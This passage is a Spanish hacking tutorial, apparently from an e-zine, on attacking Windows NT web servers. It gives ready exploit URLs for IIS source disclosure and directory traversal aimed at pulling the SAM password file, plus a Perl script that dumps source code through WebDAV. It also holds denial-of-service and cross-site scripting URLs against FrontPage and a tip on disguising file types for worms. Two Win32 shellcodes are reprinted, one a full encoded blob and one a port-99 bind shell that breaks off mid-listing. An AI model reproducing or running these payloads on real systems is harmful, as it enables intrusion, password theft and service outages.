[ 6.1.7.2 - El bug del +.htr ]

----------------------------

Otro bug extremadamente dificil de explotar, consiste en a~adir detras

dEl archivo la extension +.htr. Ejemplo:

http://www.maquina.com/fichero.asp+.htr

Este bug funciona en archivos .ASP y .ADA.

 

 

[ 6.1.7.3 - El bug de Null.htw ]

------------------------------

IIS corriendo junto Index Server posee una vulnerabilidad que permite

ver El codigo de cualquier archivo. El bug se aprovecha del fichero Null.htw

corriendo con Index Server para dicho fin.

De manera que si queremos ver el codigo fuente de algun fichero tan solo

tenemos que seguir una url de este tipo:

http://www.maquina.es/null.htw?CiWebhitsfile=/archivo.asp%20&%20

CiRestriction=none%20&%20&CiHiliteType=full

Como habeis visto, a null.htw le pasamos como argumento "CiWebhitsfile",

que es una de las 3 variables que null.htw permite que sean definidas por el

usuario... y que no solo nos permitiran ver el codigo de los archivos del

arbol de web, sino que ademas nos permite espacar del arbol de la web y asi

poder movernos por toda la unidad... con lo que podriamos coger el SAM,

copiarlo, expandirlo, y crackearlo.

Por cierto, donde pone null.htw, podia haber cualquier nombre de archivo.

Lo que el nombre de Null quiere decir es que es un archivo nulo, que no

existe en el sistema. No hace falta que haya ficheros .htw en el sistema

para que el bug funcione.

 

[ 6.1.7.4 - El bug de ISM.DLL ]

-----------------------------

Este bug nos permitira ver el codigo de cualquier archivo dentro del

arbol de la web. El bug consiste en enga~ar al servidor IIS haciendole creer

que solicitamos un archivo .htr cuando en realidad no es asi.

Para explotar este bug tenemos que formularle al servidor una peticion de

este tipo:

http://www.lavictima.com/pagina.asp(aqui irian 230 "%20")pagina.asp.htr

Cabe destacar que solo se puede explotar este bug una vez por maquina, a

menos que se reinicie el servicio web, de manera que ISM.DLL se volveria a

cargar en memoria.

 

 

[ 6.1.7.5 - El bug de Showcode y Codebrws ]

-----------------------------------------

Estos dos archivos de tipo .asp son visores de archivos, los cuales no se

instalan por defecto en IIS; sin embargo si el Administrador los instalara,

para practicar con ellos o lo que sea, el instruso los puede aprovechar para

ver El codigo de cualquier fichero.

Esto es asi debido a que estos ficheros no ponen ninguna restriccion para

determinar que archivos puede o no puede acceder, de manera que si el

intruso sabe la ruta exacta de un fichero en el servidor, podria acceder a

El pasandoselo como argumento a uno de estos dos ficheros.

Veamos un ejemplo. Supongamos que sabemos que en la particion en la que

tiene instalado IIS tiene en el directorio raiz un fichero llamado pass.txt,

y queremos verlo. Le hariamos la siguiente peticion al servidor:

http://www.lavictima.com/msadc/samples/selector/showcode.asp?source=

/msadc/../../../../pass.txt

Y ya estaria.

Quiza os esteis preguntando porque no coger el archivo SAM. No lo cogemos

porque Showcode y Codebrws no son capaces de procesar los caracteres de

control de dicho archivo, con lo que tendriamos un archivo SAM diferente del

original, a la vez que inservible.

 

 

[ 6.1.7.6 - El bug de webhits.dll y los ficheros .htw ]

-----------------------------------------------------

Ya repasamos un bug de Null.htw, el cual gracias a la variable

"CiWebhitsfile" nos permitia ver el codigo de cualquier archivo, pudiendo

ademas escapar del arbol de la web. Pues en este caso es mas de lo mismo, ya

que El bug es el mismo que el ya visto anteriormente, solo que esta vez va

asociado a webhits.dll

Esta libreria es la que negocia con las peticiones, y esta tiene el fallo

de que permite que la variable CiWebhitsfile permita acceder a cualquier

fichero, pudiendo tener el codigo de cualquier archivo.

Para este caso se necesita tener un .htw real en el servidor... sin eso

no podemos explotar el bug. A continuacion se muestran las rutas de algunos

ficheros .htw por defecto, las cuales vienen como ejemplo en IIS para que

El admin practique y tal...

/iissamples/issamples/oop/qfullhit.htw

/iissamples/issamples/oop/qsumrhit.htw

/isssamples/exair/search/qfullhit.htw

/isssamples/exair/search/qsumrhit.htw

/isshelp/iss/misc/iirturnh.htw

Y bueno, con esto, sabiendo que se explota igual que el bug del null.htw

y con las mismas caracteristicas, nos podremos hacer una idea de la url que

se habra de meter en el navegador para aprovecharnos... no?. Bueno, que

sirva la siguiente como ejemplo:

 

http://www.maquina.es/iissamples/issamples/oop/qfullhit.htw?ciwebhitsfile=

/../../winnt/repair/sam._&cirestriction=none&cihilitetype=full

Con lo que solo tendriamos que seguir los tipicos paso que paso de

volver a repetirlos.

 

 

[ 6.1.7.7 - El bug del ::$DATA ]

------------------------------

Esta archiconocida vulnerabilidad, que afecta a todas las versiones del

IIS hasta la 4.0, se aprovecha de como IIS analiza los nombres de archivo

que se le piden, de manera que desde el navegador se puede acceder al codigo

fuente de un archivo .asp o .vbd.

El bug consiste en insertar al final de la url la extension ::$DATA. De

esa manera te podras bajar el codigo fuente y editarlo en busca de

informacion interesante.

Un ejemplo seria el siguiente:

http://www.maquina.es/ventas/formulario.asp::$DATA

 

 

[ 6.1.7.8 - Adsamples ]

---------------------

Dicho bug permite acceder a cualquiera acceder al fichero site.csc sin

ningun impedimento, por lo que si el atacante lo baja, podra ver informacion

muy interesante que no debiera poder verla cualquiera... como las DSN, o

nombres de usuario y contrase~as de la base de datos.

Dicho fichero se encuentra por defecto en el directorio virtual

adsamples/config/site.csc. Un ejemplo:

www.maquinavulnerable.com/adsamples/config/site.csc

 

 

[ 6.1.7.9 - El bug de WebDAV ]

----------------------------

Este bug permite bajar el codigo de cualquier archivo del servidor en el

arbol de la web. Dicho bug se basa en un problema de las extensiones de

FrontPage 2000 y un problema de implementacion en Office 2000.

Basta con a~adir en las cabeceras de una peticion "GET" de HTTP la

cabecera translate:f para poder ver el codigo del fichero que se pide. Vamos

a explicar mas a fondo un poco el bug.

translate:f es una cabecera exclusiva de WebDAV, y es usado en los

clientes compatibles con este y en Frontpage 2000 para poder editar el

fichero que se esta pidiendo. Pero a mas de uno le agradara saber que pasara

si incluimos la barra lateral '/' al final de la peticion GET...

Aqui se incluye un script en perl que podreis encontrar en cualquier lado

que sirve para generar peticiones get de ese estilo para aprovecharnos del

bug.

 

-- Comienza el codigo --

<++>xploits/webdav.pl

#############################

use IO::Socket; #

my ($port, $sock,$server); #

$size=0; #

#############################

#

$server="$ARGV[0]";

$s="$server";

$port="80";

$cm="$ARGV[1]";

&connect;

sub connect {

if ($#ARGV < 1) {

howto();

exit;

}

$ver="GET /$cm%5C HTTP/1.0

Host: $server

Accept: */*

Translate: f

\n\n";

my($iaddr,$paddr,$proto);

$iaddr = inet_aton($server) || die "Error: $!";

$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";

$proto = getprotobyname('tcp') || die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:

$!";

connect(SOCK, $paddr) || die "Error: $!";

send(SOCK, $ver, 0) || die "Can't to send packet: $!";

open(OUT, ">$server.txt");

print "Dumping $cm to $server.txt \n";

while(<SOCK>) {

print OUT <SOCK>;

}

sub howto {

print "type as follows: Trans.pl www.victim.com codetoview.asp \n\n";

}

close OUT;

$n=0;

$type=2;

close(SOCK);

exit(1);

}

<-->

-- Finaliza el codigo --

 

 

[ 6.1.7.10 - Conclusion a los ataques IIS ]

-----------------------------------------

Bien, como se ha visto, IIS posee muchos fallos, por lo que un servidor

de IIS que no este totalmente parcheado es un servidor muy vulnerable. Bien

pensado, atacar al IIS resulta una de las maneras mas limpias de hackear un

NT... al loro.

 

 

[ 6.2 - Vulnerabilidades de Frontpage ]

-------------------------------------

Pasemos ahora a ver los bugs del Frontpage 2000. Este producto tambien

esta servido de una rica y variada gama de bugs, los cuales no van a poder

ser todos mostrados por cuestiones de espacio. Nos centraremos en la version

2000 de frontpage server, que actualmente es la mas usada.

 

 

[ 6.2.1 - DoS a las extensiones ]

-------------------------------

Este sencillo bug consiste en realizar de manera conseutiva, peticiones

al archivo shtml.dll del servidor. La forma de la URL seria la siguiente:

http://www.maquina.com/_vti_bin/shtml. dll. Se podria hacer un programa

simplon que hiciese repetidas peticiones GET a ese archivo, con lo que en

cuestion de segundos el servidor se bloquearia.

 

[ 6.2.2 - Otro DoS a las extensiones gracias a Ms-Dos ]

-----------------------------------------------------

Este DoS se aprovecha de los recursos de Ms-Dos (o Ms-DoS ;-)) para

colgar el sistema. Mediante shtml.exe es posible acceder a dichos recursos,

de manera tal:

http://www.victima.com/_vti_bin/shtml.exe/com1.htm

Podriamos haber puesto en lugar de com1 otro recurso de ms-dos, como aux,

nul, prn, con (de que me sonara este?), etc.

Sin embargo este DoS no sera efectivo a menos que efectuemos la operacion

varias veces seguidas. Sino se hiciera asi, el servidor aguantaria... si lo

hacemos bien se tendra que reiniciar el sistema o reiniciar IIS para poder

seguir con normalidad.

 

 

[ 6.2.3 - Scripting con shtml.dll ]

---------------------------------

Este se~or bug afecta a las extensiones de Frontpage server 1.2 si estas

se encuentran instaladas en un servidor IIS. El fallo consiste en que si en

una peticion al archivo shtml.dll incluimos al final de esta mas texto, el

servidor generara un error a partir de ese texto... pero, que pasaria si ese

texto es un script (no importa el lenguaje)?, pues como el servidor devuelve

un error a partir del texto a~adido a la url, si este contiene un codigo que

El navegador pueda interpretar, este se ejecutara en el la maquina cliente.

Como ejemplo, observar la siguiente url:

http://www.maquina.es/_vti_bin/shtml.dll/<SCRIPT> codigo </SCRIPT>

El procedimiento es este: nosotros le hacemos una peticion con nuestro

codigo, el servidor nos re-envia este codigo junto un mensaje de error, y

nuestro navegador interpreta el codigo ejecutando su contenido.

Claro, que este fallo no posee mucha relevancia de por si sino pudiera

ser aprovechado por terceros... veamos ahora un link colocado en una pagina

web cualquiera que explotaria el bug:

<a href="http://victima.es/_vti_bin/shtml.dll/<SCRIPT> codigo... </SCRIPT>">

http://victima.es</a>

El visitante vera como el link parece enviarnos a victima.es, pero, por

ejemplo si usa windows con netscape o i. explorer al pasar el raton por

encima vera a donde apunta realmente el link. Esto se podria ocultar con un

peque~o codigo javascript en la pagina...

Entonces: Para que sirve este bug? Pues para ejecutar en la maquina

cliente el codigo script que quieras. Obviamente deberemos especificar en la

etiqueta de inicio de script el lenguaje de scripts que vamos a utilizar.

Se se hubiera usado este bug para explotar la vulnerabilidad de ActiveX

descubierta por la gente del CCC, los efectos hubieran sido tremendos. Que

sirva como ejemplo para ver la trascendencia del bug.

 

 

[ 6.2.4 - Otra vez las extensiones ]

----------------------------------

Este bug causa las mismas consecuencias que el bug de los .idc y .ida de

IIS. Nos devuelve la ruta del servidor web. En este caso para conseguir la

ruta deberemos hacer una peticion de este tipo:

http://www.maquina.es/_vti_bin/shtml.exe/archivo_que_no_exista.html

 

 

[ 6.2.5 - Conclusion a Frontpage ]

--------------------------------

Como hemos visto Frontpage posee bugs que pueden comprometer la seguridad

y/o estabilidad del sistema, muy faciles de explotar. Esto se deberia tener

en cuenta, y seguir las noticias sobre la seguridad de frontpage muy de

cerca. Aqui solo se han visto unos pocos, los mas recientes. Para ver una

galeria entera de bugs de este y otros productos, lo de siempre, miraros el

apendice.

 

 

-=-

 

 

[ 7 - El registro ]

-----------------

El registro es la base de datos centralizada de la configuracion de

Windows, en el guardan informacion los programas, y sobretodo el sistema

operativo en si. Aprender a utilizar el registro nos ayudara desde a poder

personalizar en gran parte nuestro Windows (sea la version que sea), hasta

poder violar la seguridad del sistema con diferentes trucos, pasando por el

crackeo de aplicaciones.

Aqui me basare en el registro de los W2K. Sin embargo toda la familia Win

comparte unos grandes parecidos en ello.

Para los que ya sepais algo del registro de W95, deciros que a diferencia

de este NT no utiliza la sub-estructura HKEY_DYN_DATA.

 

 

[ 7.1 - Estructura del registro ]

-------------------------------

El registro de NT esta dividido en 5 sub-estructuras: HKEY_CLASSES_ROOT,

HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS y HKEY_CURRENT_CONFIG.

Vamos a analizarlas.

 

 

HKEY_CLASSES_ROOT

-----------------

Esta sub-estructura mantiene una lista de las extensiones de los archivos

enlazados a aplicaciones determinadas. Tambien contiene informacion sobre

las operaciones OLE (Object Linking And Emmedding), etc.

Desde aqui podriamos a~adir la extension .loquesea , y definirla, de

manera que el admin cuando vea la descripcion del tipo de archivo vera la

que nosotros hayamos puesto. Tambien podemos cambiar las definiciones de

otros ficheros, por ejemplo, poner a los .exe la descripcion "Documento

de texto", etc. Esto es util a la hora de programar I-Worms.

 

HKEY_CURRENT_USER

-----------------

Esta clave contiene la configuracion del entorno del escritorio, de los

programas, del entorno del usuario, etc.

Aqui podemos diferenciar 7 subclaves:

 

- AppEvents: En esta subclave se encuentra la configuracion de los

sonidos de Windows.

- Console: Configuracion sobre la consola del DOS.

- Control Panel: Aqui se almacena la configuracion sobre los distintos

dispositivos de entrada/salida del sistema, ademas de

la configuracion de la gran parte de los elementos del

panEl de control de Windows.

- Environment: Ruta de los directorios de archivos temporales.

- Identities: Contiene informacion sobre las identidades que el usuario

actual posee en distintos programas (outlook, etc.)

- Software: Esta contiene informacion de los distintos programas que se

encuentran instalados.

- System: Infomacion del sistema en la sesion que se encuentra el usuario

local.

 

Estas son las llaves que siempre hay en los NT... luego puede haber mas,

pues hay aplicaciones que crean llaves en dicho apartado.

 

 

HKEY_LOCAL_MACHINE

------------------

Esta subestructura es sumamente interesante, pues en ella se muestran las

configuraciones del sistema, de su hardware, controladores, aplicaciones,

etc.

Esta se divide en 5 sub-estructuras, que son:

 

- HKEY_LOCAL_MACHINE\Hardware: En esta llave se almacenan los datos sobre

los drivers del sistema y los componentes

dEl hardware.

- HKEY_LOCAL_MACHINE\SAM: Informacion sobre los usuarios del sistema, sus

passwords...

- HKEY_LOCAL_MACHINE\Security: Informacion sobre los privilegios de los

usuarios, etc.

- HKEY_LOCAL_MACHINE\Software: Informacion sobre todo el software que se

encuentra instalado en el sistema.

- HKEY_LOCAL_MACHINE\System: Aqui se almacena la informacion que NT

necesita para arrancar el sistema.

 

 

HKEY_USERS

----------

Igual que HKEY_CURRENT_USER pero con una sub-estructura para cada usuario

dEl sistema.

 

 

HKEY_CURRENT_CONFIG

-------------------

Esta sub-estructura contiene informacion sobre la configuracion actual de

distintos dispositivos del sistema, y la configuracion tambien de las

propiedades de internet, etc.

 

 

[ 7.2 - Vulnerabilidades del registro ]

-------------------------------------

La unica vulnerabilidad del registro es su mala configuracion. Lo primero

que se debiera tener en cuenta es que no se debe permitir acceder al

registro de forma remota. Si se permitiera el acceso remoto al registro, se

ha de tener en cuenta mucho los permisos. Hay ciertas zonas en las que el

usuario no deberia poder escribir. Podria, por ejemplo, cambiar la ruta de

programas, apuntando a otros que le beneficien a el, o causar caos en el

sistema, etc. Es algo que hay que tener muy en cuenta.

Para acceder remotamente al registro solo hace falta conectarse a el

desde regedit, regdt32, por ejemplo.

 

 

[ 7.3 - Conclusion sobre el registro ]

------------------------------------

Como se ha visto, el registro es el "Alma Mater" de NT, y tambien se ha

visto que hay ciertas estructuras con informacion sensible que no debieran

poder escribirse.

Sin embargo, todo lo que se ha dicho aqui del registro es realmente poco.

Para los que quieran saber mas, pueden pasarse por el apendice, donde

encontraran referencias a otros documentos.

 

 

-=-

 

 

[ 8 - Desbordamientos de pila en NT ]

-----------------------------------

 

Los buffer overflows (llamados BOFS por brevedad) que tanto afectan a

todo tipo de u*x, nunca fueron un problema para NT. Hasta hace poco. El que

NT sea de codigo cerrado, asi como casi todo el software que para el se

desarrolla, no ha impedido que se le hayan descubierto varios fallos de

programacion vulnerables al desbordamiento de buffer. Recordemos como

Mnemonix descubrio ya el bug en Rasman y Winhlp32, como dark spyrit

descubrio uno en IIS, etc. Aunque no sobrepasen de mucho la decena son ya

una seria amenaza, y se prevee que con todos los documentos/tutoriales que

hay acerca del tema, sean la plaga de NT de aqui a no mucho.

No voy a describir los conceptos de un BOF, no voy a escribir acerca de

algo de lo que se ha escrito tanto, y ademas mejor de lo que yo pudiera

hacerlo. En cambio, incluire 2 shellcodes relativamente recientes, que

seguro que mas de uno sabra sacar partido. Todas son para W2K.

Luego, quien quiera aprender como se provocan los BOFS, su teoria, etc.,

pueden mirarse el articulo en SET 22 de Mnemonix traducido por FCA00000:

"Buffer Overflows: Rasman & Winhlp32", que trata los bofs en entornos Win32,

con los ejemplos del rasman y winhlp32; o en SET 21 el de Doing: "ASM y

Buffer Overflows", que trata los BOFS en general. Mirar el apendice, donde

incluyo otras referencias.

 

[ 8.1 - Shellcodes ]

------------------

Y a continuacion incluyo uno de las 2 shellcodes, esta creada por |zan,

dEl grupo deepzone (http://www.deepzone.org).

 

--- Comienza codigo de shellcode ---

<++>xploits/shellcode.asm

; -- begin x86/asm --

LLB1 equ (00h xor 99h)

LLB2 equ (00h xor 99h)

LLB3 equ (00h xor 99h)

LLB4 equ (00h xor 99h)

GPB1 equ (00h xor 99h)

GPB2 equ (00h xor 99h)

GPB3 equ (00h xor 99h)

GPB4 equ (00h xor 99h)

DeepZone_w32ShellCode:

db 068h, 05eh, 056h, 0c3h, 090h, 054h, 059h, 0ffh, 0d1h

db 058h, 033h, 0c9h, 0b1h, 01ch, 090h, 090h, 090h, 090h

db 003h, 0f1h, 056h, 05fh, 033h, 0c9h, 066h, 0b9h, 095h

db 004h, 090h, 090h, 090h, 0ach, 034h, 099h, 0aah, 0e2h

db 0fah, 071h, 099h, 099h, 099h, 099h, 0c4h, 018h, 074h

db 040h, 0b8h, 0d9h, 099h, 014h, 02ch, 06bh, 0bdh, 0d9h

db 099h, 014h, 024h, 063h, 0bdh, 0d9h, 099h, 0f3h, 09eh

db 009h, 009h, 009h, 009h, 0c0h, 071h, 04bh, 09bh, 099h

db 099h, 014h, 02ch, 0b3h, 0bch, 0d9h, 099h, 014h, 024h

db 0aah, 0bch, 0d9h, 099h, 0f3h, 093h, 009h, 009h, 009h

db 009h, 0c0h, 071h, 023h, 09bh, 099h, 099h, 0f3h, 099h

db 014h, 02ch, 040h, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch

db 07ch, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch, 070h, 0bch

db 0d9h, 099h, 0cfh, 066h, 00ch, 0aah, 0bch, 0d9h, 099h

db 0f3h, 099h, 014h, 02ch, 040h, 0bch, 0d9h, 099h, 0cfh

db 014h, 02ch, 074h, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch

db 068h, 0bch, 0d9h, 099h, 0cfh, 066h, 00ch, 0aah, 0bch

db 0d9h, 099h, 05eh, 01ch, 06ch, 0bch, 0d9h, 099h, 0ddh

db 099h, 099h, 099h, 014h, 02ch, 06ch, 0bch, 0d9h, 099h

db 0cfh, 066h, 00ch, 0aeh, 0bch, 0d9h, 099h, 014h, 02ch

db 0b4h, 0bfh, 0d9h, 099h, 034h, 0c9h, 066h, 00ch, 0cah

db 0bch, 0d9h, 099h, 014h, 02ch, 0a8h, 0bfh, 0d9h, 099h

db 034h, 0c9h, 066h, 00ch, 0cah, 0bch, 0d9h, 099h, 014h

db 02ch, 068h, 0bch, 0d9h, 099h, 014h, 024h, 0b4h, 0bfh

db 0d9h, 099h, 03ch, 014h, 02ch, 07ch, 0bch, 0d9h, 099h

db 034h, 014h, 024h, 0a8h, 0bfh, 0d9h, 099h, 032h, 014h

db 024h, 0ach, 0bfh, 0d9h, 099h, 032h, 05eh, 01ch, 0bch

db 0bfh, 0d9h, 099h, 099h, 099h, 099h, 099h, 05eh, 01ch

db 0b8h, 0bfh, 0d9h, 099h, 098h, 098h, 099h, 099h, 014h

db 02ch, 0a0h, 0bfh, 0d9h, 099h, 0cfh, 014h, 02ch, 06ch

db 0bch, 0d9h, 099h, 0cfh, 0f3h, 099h, 0f3h, 099h, 0f3h

db 089h, 0f3h, 098h, 0f3h, 099h, 0f3h, 099h, 014h, 02ch

db 0d0h, 0bfh, 0d9h, 099h, 0cfh, 0f3h, 099h, 066h, 00ch

db 0a2h, 0bch, 0d9h, 099h, 0f1h, 099h, 0b9h, 099h, 099h

db 009h, 0f1h, 099h, 09bh, 099h, 099h, 066h, 00ch, 0dah

db 0bch, 0d9h, 099h, 010h, 01ch, 0c8h, 0bfh, 0d9h, 099h

db 0aah, 059h, 0c9h, 0d9h, 0c9h, 0d9h, 0c9h, 066h, 00ch

db 063h, 0bdh, 0d9h, 099h, 0c9h, 0c2h, 0f3h, 089h, 014h

db 02ch, 050h, 0bch, 0d9h, 099h, 0cfh, 0cah, 066h, 00ch

db 067h, 0bdh, 0d9h, 099h, 0f3h, 09ah, 0cah, 066h, 00ch

db 09bh, 0bch, 0d9h, 099h, 014h, 02ch, 0cch, 0bfh, 0d9h

db 099h, 0cfh, 014h, 02ch, 050h, 0bch, 0d9h, 099h, 0cfh

db 0cah, 066h, 00ch, 09fh, 0bch, 0d9h, 099h, 014h, 024h

db 0c0h, 0bfh, 0d9h, 099h, 032h, 0aah, 059h, 0c9h, 014h

db 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0c9h, 0c9h, 0c9h

db 014h, 02ch, 070h, 0bch, 0d9h, 099h, 034h, 0c9h, 066h

db 00ch, 0a6h, 0bch, 0d9h, 099h, 0f3h, 0a9h, 066h, 00ch

db 0d6h, 0bch, 0d9h, 099h, 072h, 0d4h, 009h, 009h, 009h

db 0aah, 059h, 0c9h, 014h, 024h, 0fch, 0bfh, 0d9h, 099h

db 0ceh, 0c9h, 0c9h, 0c9h, 014h, 02ch, 070h, 0bch, 0d9h

db 099h, 034h, 0c9h, 066h, 00ch, 0a6h, 0bch, 0d9h, 099h

db 0f3h, 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 01ah

db 024h, 0fch, 0bfh, 0d9h, 099h, 09bh, 096h, 01bh, 08eh

db 098h, 099h, 099h, 018h, 024h, 0fch, 0bfh, 0d9h, 099h

db 098h, 0b9h, 099h, 099h, 0ebh, 097h, 009h, 009h, 009h

db 009h, 05eh, 01ch, 0fch, 0bfh, 0d9h, 099h, 099h, 0b9h

db 099h, 099h, 0f3h, 099h, 012h, 01ch, 0fch, 0bfh, 0d9h

db 099h, 014h, 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0c9h

db 012h, 01ch, 0c8h, 0bfh, 0d9h, 099h, 0c9h, 014h, 02ch

db 070h, 0bch, 0d9h, 099h, 034h, 0c9h, 066h, 00ch, 0deh

db 0bch, 0d9h, 099h, 0f3h, 0a9h, 066h, 00ch, 0d6h, 0bch

db 0d9h, 099h, 012h, 01ch, 0fch, 0bfh, 0d9h, 099h, 0f3h

db 099h, 0c9h, 014h, 02ch, 0c8h, 0bfh, 0d9h, 099h, 034h

db 0c9h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h, 034h, 0c9h

db 066h, 00ch, 093h, 0bch, 0d9h, 099h, 0f3h, 099h, 014h

db 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0f3h, 099h, 0f3h

db 099h, 0f3h, 099h, 014h, 02ch, 070h, 0bch, 0d9h, 099h

db 034h, 0c9h, 066h, 00ch, 0a6h, 0bch, 0d9h, 099h, 0f3h

db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 0aah, 050h

db 0a0h, 014h, 0fch, 0bfh, 0d9h, 099h, 096h, 01eh, 0feh

db 066h, 066h, 066h, 0f3h, 099h, 0f1h, 099h, 0b9h, 099h

db 099h, 009h, 014h, 02ch, 0c8h, 0bfh, 0d9h, 099h, 034h

db 0c9h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h, 034h, 0c9h

db 066h, 00ch, 097h, 0bch, 0d9h, 099h, 010h, 01ch, 0f8h

db 0bfh, 0d9h, 099h, 0f3h, 099h, 014h, 024h, 0fch, 0bfh

db 0d9h, 099h, 0ceh, 0c9h, 014h, 02ch, 0c8h, 0bfh, 0d9h

db 099h, 034h, 0c9h, 014h, 02ch, 074h, 0bch, 0d9h, 099h

db 034h, 0c9h, 066h, 00ch, 0d2h, 0bch, 0d9h, 099h, 0f3h

db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 0f3h, 099h

db 012h, 01ch, 0f8h, 0bfh, 0d9h, 099h, 014h, 024h, 0fch

db 0bfh, 0d9h, 099h, 0ceh, 0c9h, 012h, 01ch, 0c8h, 0bfh

db 0d9h, 099h, 0c9h, 014h, 02ch, 070h, 0bch, 0d9h, 099h

db 034h, 0c9h, 066h, 00ch, 0deh, 0bch, 0d9h, 099h, 0f3h

db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 070h, 020h

db 067h, 066h, 066h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h

db 034h, 0c9h, 066h, 00ch, 08bh, 0bch, 0d9h, 099h, 014h

db 02ch, 0c4h, 0bfh, 0d9h, 099h, 034h, 0c9h, 066h, 00ch

db 08bh, 0bch, 0d9h, 099h, 0f3h, 099h, 066h, 00ch, 0ceh

db 0bch, 0d9h, 099h, 0c8h, 0cfh, 0f1h, LLB4, LLB3, LLB2

db LLB1, 009h, 0c3h, 066h, 08bh, 0c9h, 0c2h, 0c0h, 0ceh

db 0c7h, 0c8h, 0cfh, 0cah, 0f1h, GPB4, GPB3, GPB2, GPB1

db 009h, 0c3h, 066h, 08bh, 0c9h, 035h, 01dh, 059h, 0ech

db 062h, 0c1h, 032h, 0c0h, 07bh, 070h, 05ah, 0ceh, 0cah

db 0d6h, 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah

db 0f2h, 0fch, 0edh, 099h, 0fbh, 0f0h, 0f7h, 0fdh, 099h

db 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h, 0f8h, 0fah

db 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh

db 099h, 0ebh, 0fch, 0fah, 0efh, 099h, 0fah, 0f5h, 0f6h

db 0eah, 0fch, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h

db 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h

db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h

db 0fch, 099h, 0deh, 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh

db 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh, 0f6h, 0d8h, 099h

db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h

db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0c9h, 0fch, 0fch

db 0f2h, 0d7h, 0f8h, 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h

db 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh, 0f8h, 0f5h, 0d8h

db 0f5h, 0f5h, 0f6h, 0fah, 099h, 0cbh, 0fch, 0f8h, 0fdh

db 0dfh, 0f0h, 0f5h, 0fch, 099h, 0ceh, 0ebh, 0f0h, 0edh

db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch

db 0fch, 0e9h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h

db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0dch, 0e1h, 0f0h

db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h

db 0dah, 0f6h, 0fdh, 0fch, 0fdh, 0b9h, 0fbh, 0e0h, 0b9h

db 0e5h, 0c3h, 0f8h, 0f7h, 0b9h, 0a5h, 0f0h, 0e3h, 0f8h

db 0f7h, 0d9h, 0fdh, 0fch, 0fch, 0e9h, 0e3h, 0f6h, 0f7h

db 0fch, 0b7h, 0f6h, 0ebh, 0feh, 0a7h, 09bh, 099h, 086h

db 0d1h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 095h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 098h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0dah

db 0d4h, 0ddh, 0b7h, 0dch, 0c1h, 0dch, 099h, 099h, 099h

db 099h, 099h, 089h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h

db 099h, 099h, 099h, 099h, 090h, 090h, 090h, 090h, 090h

<-->

; -- end x86/asm --

--- Finaliza codigo de shellcode ---

 

A continuacion se muestra la segunda y ultima shellcode, de sunx.

 

 

--- Comienza codigo de shellcode ---

<++>xploits/shellcode2.c

/****************************************************************************

WinShellCode Writen by sunx

sunx@cnns.net, http://www.cnns.net

This shellcode works like most remote UNIX shell

it will listen on port 99,

when telnet to chis port, a cmd.exe shell will active

It is asm code is followed.

For remove char(0) in data

shellcode is xor 0x99, it will decode itself, when on run

when overflow, run time cpu mirror is :

-----------RRRR-NOPNOPNOPNOPNOPNOPNOP-ShellCodeShellCodeShellCode-----------

^ ^

| |

| |

ESP point to here shellcode place here

ESP must less than shellcode start address, when run this shellcode

[root@Linux /]# telnet 192.168.0.5 99

Trying 192.168.0.5...

Connected to sunx (192.168.0.5).

Escape character is '^]'.

Microsoft Windows 2000 [Version 5.00.2195]

(C) °æȨËùÓÐ 1985-2000 Microsoft Corp.

E:\work\asm\winshell\conv>cd \

cd \

E:\>^]q

Connection closed.

[root@Linux /]# telnet 192.168.0.5 99

Trying 192.168.0.5...

Connected to sunx (192.168.0.5).

Escape character is '^]'.
